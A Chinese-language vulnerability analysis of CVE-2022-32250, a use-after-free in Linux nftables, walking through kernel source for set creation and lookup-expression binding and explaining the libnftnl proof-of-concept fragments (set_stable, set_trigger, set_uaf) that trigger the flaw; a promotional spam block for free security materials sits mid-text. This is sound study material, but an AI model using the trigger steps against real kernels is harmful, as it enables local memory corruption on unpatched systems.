Nftables漏洞原理分析(CVE-2022-32250)

前言

nftales中存在着集合(sets),用於存儲唯一值的集合。sets 提供了高效地檢查一個元素是否存在於集合中的機制,它可以用於各種網絡過濾和轉發規則。

CVE-2022-32250漏洞則是由於nftables在處理set時存在uaf的漏洞。

環境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y

CONFIG_NETFILTER_NETLINK=y

CONFIG_E1000=y

CONFIG_E1000E=y

CONFIG_USER_NS=y,開啓命名空間

開啓KASANmake menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

image-20240302114337021

ubuntu20直接安裝的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下載

./configure --prefix=/usr && make
sudo make install

漏洞驗證

poc:https://seclists.org/oss-sec/2022/q2/159

在運行poc時,KASAN檢測出存在uaf漏洞

image-20240302114613205

漏洞原理

KASAN給出的信息可知,該漏洞與set有關,因此從set的創建到使用進行源碼分析。

nf_tables_newset內首先需要校驗集合名、所屬的表、集合鍵值的長度以及集合的ID是否被設置,若這些條件不具備則直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206:               const struct nlattr * const nla[])
4207: {
        ...
        //判斷創建set的必備條件是否具備
4227:   if (nla[NFTA_SET_TABLE] == NULL ||
4228:       nla[NFTA_SET_NAME] == NULL ||
4229:       nla[NFTA_SET_KEY_LEN] == NULL ||
4230:       nla[NFTA_SET_ID] == NULL)
4231:       return -EINVAL;
        ...

集合通過kvzalloc函數開闢空間

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
4369:   set = kvzalloc(alloc_size, GFP_KERNEL);
4370:   if (!set)
4371:       return -ENOMEM;
    ...

在成功創建集合後,就會進行初始化的過程,有一個變量需要重點關注,即set->bindings

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
    //對集合做初始化
4390:   INIT_LIST_HEAD(&set->bindings);
4391:   INIT_LIST_HEAD(&set->catchall_list);
4392:   set->table = table;
4393:   write_pnet(&set->net, net);
4394:   set->ops = ops;
4395:   set->ktype = ktype;
4396:   set->klen = desc.klen;
4397:   set->dtype = dtype;
4398:   set->objtype = objtype;
4399:   set->dlen = desc.dlen;
4400:   set->flags = flags;
4401:   set->size = desc.size;
4402:   set->policy = policy;
4403:   set->udlen = udlen;
4404:   set->udata = udata;
4405:   set->timeout = timeout;
4406:   set->gc_int = gc_int;
    ...

image-20240302153317949

當初始化完畢之後,會去判斷創建集合時,該集合是否有需要創建的表達式。

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
        //判斷是否有表達式需要創建
4416:   if (nla[NFTA_SET_EXPR]) {
4417:       expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表達式的創建
4418:       if (IS_ERR(expr)) {
4419:           err = PTR_ERR(expr);
4420:           goto err_set_expr_alloc;
4421:       }
4422:       set->exprs[0] = expr;
4423:       set->num_exprs++;
    ...

在代碼[1]處會對錶達式進行初始化,緊接着在代碼[2]處會對錶達式的標誌位進行校驗,當表達式的標誌位不具備NFT_EXPR_STATEFUL屬性,那麼就會跳轉到[3]中進行銷燬表達式的處理,緊接着返回錯誤。這裏似乎會存在問題,因爲代表[1]與[2]是先創建表達式再檢驗,就會導致任意的表達式被創建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310:                    const struct nft_set *set,
5311:                    const struct nlattr *attr)
5312: {
5313:   struct nft_expr *expr;
5314:   int err;
5315: 
5316:   expr = nft_expr_init(ctx, attr); --->[1]
5317:   if (IS_ERR(expr))
5318:       return expr;
5319: 
5320:   err = -EOPNOTSUPP;
5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:       goto err_set_elem_expr;
5323: 
    ...
5334: err_set_elem_expr:
5335:   nft_expr_destroy(ctx, expr); --->[3]
5336:   return ERR_PTR(err);
5337: }

回顧KASAN的報告,發現該漏洞與表達式nft_lookup有關,因此接下來關注一下lookup表達式初始化的過程。

【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】

① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)

image-20240302143631008

lookup表達式的結構體如下,可以看到在lookup結構體裏存在着binding變量,是上面set會初始化的一個變量。

struct nft_lookup {
    struct nft_set          *set; //集合
    u8              sreg; //源寄存器
    u8              dreg; //目的寄存器
    bool                invert; 
    struct nft_set_binding      binding;
};

nft_set_bing結構體實則是維護了一個雙鏈表。

struct nft_set_binding {
    struct list_head        list;
    const struct nft_chain      *chain;
    u32             flags;
};

nft_lookup_init函數負責初始化lookup表達式,可以看到需要set與源寄存器都存在的情況下才能夠完成創建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096:               const struct nft_expr *expr,
097:               const struct nlattr * const tb[])
098: {
    ...
        //檢測set與源寄存器的值
105:    if (tb[NFTA_LOOKUP_SET] == NULL ||
106:        tb[NFTA_LOOKUP_SREG] == NULL)
107:        return -EINVAL;
    ...

緊接着檢索需要搜索的set

File: linux-5.15\net\netfilter\nft_lookup.c
        ...
109:    set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110:                    tb[NFTA_LOOKUP_SET_ID], genmask);
111:    if (IS_ERR(set))
112:        return PTR_ERR(set);
        ...

最後在完成了set的搜索後,就會進行一個綁定操作,會將表達式的binging接入的setbinding

File: linux-5.15\net\netfilter\nft_lookup.c
    ...
148:    err = nf_tables_bind_set(ctx, set, &priv->binding);
149:    if (err < 0)
150:        return err;
    ...

首先在綁定之前會校驗鏈表是否是匿名並且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607:              struct nft_set_binding *binding)
4608: {
        ...
4615:   if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616:       return -EBUSY;
        ...

在通過上面的檢測後,就會將當前表達式的加入到set中,

File: linux-5.15\net\netfilter\nf_tables_api.c
        ...
4643:   list_add_tail_rcu(&binding->list, &set->bindings);
        ...

綜上所述,bing的作用實則是維護相同set下的不同的表達式。具體流程如下。

set創建時,會初始化bindings指向自己本身。

image-20240302150148971

緊接着若有lookup表達式創建,並綁定上述的set時,因此通過setbingdings,可以檢索在當前set上的所有expr

image-20240302150404136

image-20240302153434374

在上面說過創建表達式的過程中會檢測表達式的標誌位是否爲NFT_EXPR_STATEFUL,如[2]所示

5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:       goto err_set_elem_expr;

在初始化lookup表達式時,是不會給flags設置值的,因此默認值即爲0,因此在創建set的同時創建lookup表達式,lookup表達式的類型是默認爲0,是無法繞過檢測的。

struct nft_expr_type nft_lookup_type __read_mostly = {
    .name       = "lookup",
    .ops        = &nft_lookup_ops,
    .policy     = nft_lookup_policy,
    .maxattr    = NFTA_LOOKUP_MAX,
    .owner      = THIS_MODULE,
};

那麼就會進入銷燬表達式[3]

5334: err_set_elem_expr:
5335:   nft_expr_destroy(ctx, expr); --->[3]
5336:   return ERR_PTR(err);

nft_expr_destory函數內除了是否表達式外還會調用nf_tables_expr_destroy函數

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825:   nf_tables_expr_destroy(ctx, expr);
2826:   kfree(expr);
2827: }

nf_tables_exor_destroy函數會調用表達式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762:                  struct nft_expr *expr)
2763: {
2764:   const struct nft_expr_type *type = expr->ops->type;
2765: 
2766:   if (expr->ops->destroy)
2767:       expr->ops->destroy(ctx, expr); //表達式的刪除操作
2768:   module_put(type->owner);
2769: }

nft_lookup_destroy函數內部調用了nf_tables_destroy_set函數

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174:                   const struct nft_expr *expr)
175: {
176:    struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178:    nf_tables_destroy_set(ctx, priv->set);
179: }

nf_tables_destroy_set函數內部中有一個簡單的判斷,若不成立那麼實際上nf_tables_destroy_set不會做任何操作。那麼就會造成一個漏洞,若我們創建的表達式lookup已經被綁定在set上,因此list_empty(&set->bindings0,那麼就會導致destroy操作不會執行任何操作。就會將lookup表達式殘留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685:   if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判斷`set->bingings是否爲空,以及`set`是否匿名
4686:       nft_set_destroy(ctx, set);
4687: }

由於lookup->destory不會執行任何操作,就會導致lookup表達式仍然殘留在set->bingdings上,但是由於表達式的標誌位不能通過校驗,隨後該表達式就會被釋放。

image-20240302152404314

image-20240302153648468

POC分析

首先創建一個名爲set_stableset,爲後續創建lookup表達式做準備。

    set_name = "set_stable";
    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

緊接着創建名爲set_triggerset,並同時將標誌位設置爲NFT_SET_EXPR,那麼就能在創建set的同時創建表達式,創建的表達式爲lookup表達式,並且搜索的set的名爲set_stable,這裏需要注意的是,第一個創建的set是爲了後續的lookup表達式提供搜索的set,而第二次的set是爲了創建set的同時創建lookup表達式,因此第二個set的作用僅僅是爲了創建lookup表達式。

    set_name = "set_trigger";
    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    // nest the expression into the set
    nftnl_set_add_expr(set_trigger, exprs[exprid]);

最後就是觸發漏洞,第三次的set同樣的也僅僅是爲了創建lookup表達式,由於此時名爲set_stableset->bingdings還存在着被釋放掉的lookup表達式的指針,因此在第三次創建的時候就會將新創建的lookup表達式鏈接到上述已經被釋放的lookup表達式中,從而導致的uaf漏洞。

    set_name = "set_uaf";
    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章